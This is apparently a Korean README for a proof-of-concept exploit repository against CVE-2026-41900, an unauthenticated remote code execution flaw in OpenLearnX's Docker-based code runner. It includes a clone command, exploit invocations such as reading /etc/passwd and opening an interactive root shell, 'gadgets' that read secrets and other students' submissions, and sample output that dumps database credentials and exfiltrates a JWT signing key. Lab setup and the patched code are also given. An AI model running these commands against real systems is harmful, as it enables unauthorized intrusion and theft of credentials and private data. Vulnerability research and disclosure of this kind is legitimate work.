
CVE-2026-41900에 대한 개념 증명 익스플로잇으로, OpenLearnX에서 컨테이너 볼륨 마운트를 통한 인증되지 않은 원격 코드 실행으로, /tmp 노출 및 명령 실행을 가능하게 합니다.
| 속성 | 값 |
|---|
| 이름 | OpenLearnX-RCE |
| CVE | CVE-2026-41900 |
| GHSA | GHSA-8h25-q488-4hxw |
| 유형 | 인증 없는 정보 노출 / RCE |
| 영향 | OpenLearnX < 커밋 14765d7 |
| 수정 | 커밋 14765d7 (real_compiler_service) |
| CVSS | 8.6 (높음) |
| CWE | CWE-538, CWE-377, CWE-250 |
OSDC(제 자동 패치 인텔리전스 파이프라인)가 OpenLearnX에 대한 무성 권고를 플래그했습니다 — GHSA-8h25-q488-4hxw가 기술적 세부 정보 없이 공개되었습니다. 수정 커밋(14765d7)을 가져와 부모 커밋(d19c4e4)과 diff를 비교했습니다.
Diff가 전체 내용을 보여주었습니다: backend/routes/coding.py의 execute_in_container()가 제거되고 강화된 real_compiler_service로 대체되었습니다. 이전 코드는 사용자가 제공한 코드를 임시 파일에 쓴 다음, os.path.dirname(temp_file) — 즉 /tmp로 해석되는 경로 — 을 형제 Docker 컨테이너에 읽기 전용 볼륨으로 마운트했습니다. user=도, cap_drop도, security_opt도 없었습니다. 기본적으로 root로 실행됩니다.
핵심은 /api/compiler/execute의 compiler 블루프린트에 인증 데코레이터가 없다는 점입니다. 인증되지 않은 요청만으로도 취약한 컨테이너 설정을 통해 코드 실행을 트리거할 수 있습니다.
로컬 랩에서 패치 이전 코드를 분리하고 모든 벡터를 확인한 후 이 PoC를 작성했습니다.
POST /api/compiler/execute (인증 없음)
│
▼
execute_in_container(user_code)
│
├─ tempfile.NamedTemporaryFile(suffix='.py') → /tmp/tmpXXXXXX.py
│
├─ volumes = { os.path.dirname(temp_file): { "bind": "/app", "mode": "ro" } }
│ │
│ └─ /tmp로 해석됨 → 전체 /tmp가 컨테이너에 마운트됨
│
├─ user= 없음 → root(UID 0)로 실행
├─ cap_drop 없음 → 기본 Docker capabilities
├─ security_opt 없음 → 기본 seccomp 프로필
│
└─ 공격자가 읽을 수 있음: 비밀, 자격 증명, JWT 키, 다른 사용자의 제출물
| 가젯 | 심각도 | CWE | 설명 |
|---|---|---|---|
listing | 높음 | CWE-538 | 볼륨 마운트를 통한 /tmp 디렉터리 목록 |
secrets | 치명적 | CWE-538 | /tmp에서 자격 증명, 키, 설정 읽기 |
submissions | 높음 | CWE-538 | 다른 학생의 코드 제출물 읽기 |
rootcheck | 중간 | CWE-250 | UID 0(root) 실행 확인 |
caps | 중간 | CWE-250 | 유효 Linux capabilities 덤프 |
git clone https://github.com/Christbowel/CVE-2026-41900-POC.git
cd CVE-2026-41900-POC
# 의존성 없음 — 표준 라이브러리만 사용
chmod +x exploit.py
# 대상이 취약한지 확인
python3 exploit.py --check http://target:5000
# 모든 가젯 실행 + 증거 JSON 생성
python3 exploit.py --exploit http://target:5000
# 단일 명령 실행
python3 exploit.py -c "id" http://target:5000
python3 exploit.py -c "cat /etc/passwd" http://target:5000
# 대화형 셸 진입
python3 exploit.py --shell http://target:5000
# 특정 가젯 실행
python3 exploit.py --gadget secrets http://target:5000
python3 exploit.py --gadget listing --gadget caps http://target:5000
--shell에 진입하면 의사 대화형 셸을 얻습니다. 각 명령은 새로운 임시 컨테이너를 생성합니다.
root@container:/app# id
uid=0(root) gid=0(root)
root@container:/app# ls -la /app/
total 28
-rw-r--r-- 1 root root 121 May 6 openlearnx_db_creds.conf
-rw-r--r-- 1 root root 235 May 6 jwt_signing_key.pem
-rw-r--r-- 1 root root 298 May 6 student_submission_8842.py
root@container:/app# cat /app/openlearnx_db_creds.conf
MONGO_URI=mongodb://admin:[email protected]:27017/openlearnx
root@container:/app# download jwt_signing_key.pem
[+] jwt_signing_key.pem 다운로드됨 (235B)
root@container:/app# exit
로컬에서 재현하려면:
cd lab/
docker compose up -d --build
sleep 3
python3 ../exploit.py --exploit http://localhost:5000
랩은 패치 이전의 execute_in_container()를 재현하는 컨테이너화된 Flask 앱을 배포하며 다음을 포함합니다:
/tmp 공유커밋 14765d7은 execute_in_container()를 real_compiler_service로 대체했으며 다음을 적용합니다:
container = docker_client.containers.run(
image,
volumes={temp_dir: {"bind": "/workspace", "mode": "rw"}}, # 실행별 격리된 tmpdir
cap_drop=["ALL"], # 모든 capabilities 제거
security_opt=["no-new-privileges:true"], # 권한 상승 방지
user="65534:65534", # nobody, root 아님
...
)
| 날짜 | 이벤트 |
|---|---|
| 2026-04 | OSDC가 무성 권고 GHSA-8h25-q488-4hxw 플래그 |
| 2026-04 | 커밋 14765d7 vs 부모 d19c4e4 diff 분석 |
| 2026-05 | 랩 재현 및 PoC 개발 |
| 2026-05-06 | 전체 PoC 확인 — 5개 벡터 모두 검증 |
이 도구는 공인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하거나 명시적 서면 허가를 받은 시스템에만 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.
Christbowel · christbowel.com · Balgo Security Team